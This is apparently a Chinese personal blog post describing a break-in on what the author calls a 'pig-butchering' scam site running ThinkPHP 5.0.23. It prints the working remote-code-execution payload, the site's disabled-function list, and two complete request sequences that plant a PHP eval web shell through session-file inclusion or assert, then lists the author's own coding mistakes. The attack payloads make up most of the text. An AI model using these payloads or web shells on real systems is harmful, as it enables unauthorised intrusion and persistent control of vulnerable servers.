S1xHcL's Blog.

一次简单的杀猪盘getshell

Word count: 467Reading time: 2 min
2021/04/01 Share

目标

1
https://www.test.com/home/login/index

看到这种杀猪盘和URL格式,八成是Thinkphp的站

php环境,先确定是否为tp的站点,然后再看情况扫目录

ThinkPHP V5.0.23 存在RCE版本,直接上payload试试

1
2
3
POST: /?s=captcha&test=-1

_method=__construct&filter=phpinfo&method=get&server[REQUEST_METHOD]=1

phpinfo()页面已经出来了,说明一定存在RCE了,接下来拿shell就可以了,上面的目录也暂时不要跑了

Getshell

phpinfo页面中有这几点需要注意的

  1. 网站绝对路径$_SERVER['DOCUMENT_ROOT']

  1. 被禁函数disable_functions
1
2
3
4
passthru,exec,system,putenv,chroot,chgrp,chown,
shell_exec,popen,proc_open,ini_alter,
ini_restore,dl,openlog,syslog,readlink,
symlink,popepassthru,imap_open,apache_setenv

0x01 包含session写shell

1
2
3
4
5
6
7
8
9
10
11
# 写shell进session

POST: /?s=captcha
Cookie: PHPSESSID=aabbccdd

_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php @eval($_POST['cmd']);?>&server[]=1

# 包含session写shell
POST: /?s=captcha

_method=__construct&method=get&filter[]=think\__include_file&get[]=/tmp/sess_aabbccdd&server[]=1&cmd=file_put_contents('/www/wwwroot/feixin/public/robots.php','<?php @eval($_POST[-1]);?>');

0x02 命令执行写shell

1
2
3
POST: /?s=captcha

_method=__construct&method=get&filter[]=assert&server[]=1&get[]=file_put_contents('/www/wwwroot/feixin/public/robots.php','<?php @eval($_POST[-1]);?>');

总结

全是低级错误,以后不会再犯错了

0x01 eval()函数

eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

理解错eval()函数的意思,犯低级错误

eval('id') –> 错误

eval不能执行命令

0x02 file_put_concats()

函数名写错,少个s当然无法写入

0x03 单引号冲突

file_put_concat('hhh.php','<?php @eval($_POST['-1'])?>')

一句话木马中的单引号和函数单引号冲突,无法写入

CATALOG
  1. 1. 目标
  2. 2. Getshell
    1. 2.1. 0x01 包含session写shell
    2. 2.2. 0x02 命令执行写shell
  3. 3. 总结
    1. 3.1. 0x01 eval()函数
    2. 3.2. 0x02 file_put_concats()
    3. 3.3. 0x03 单引号冲突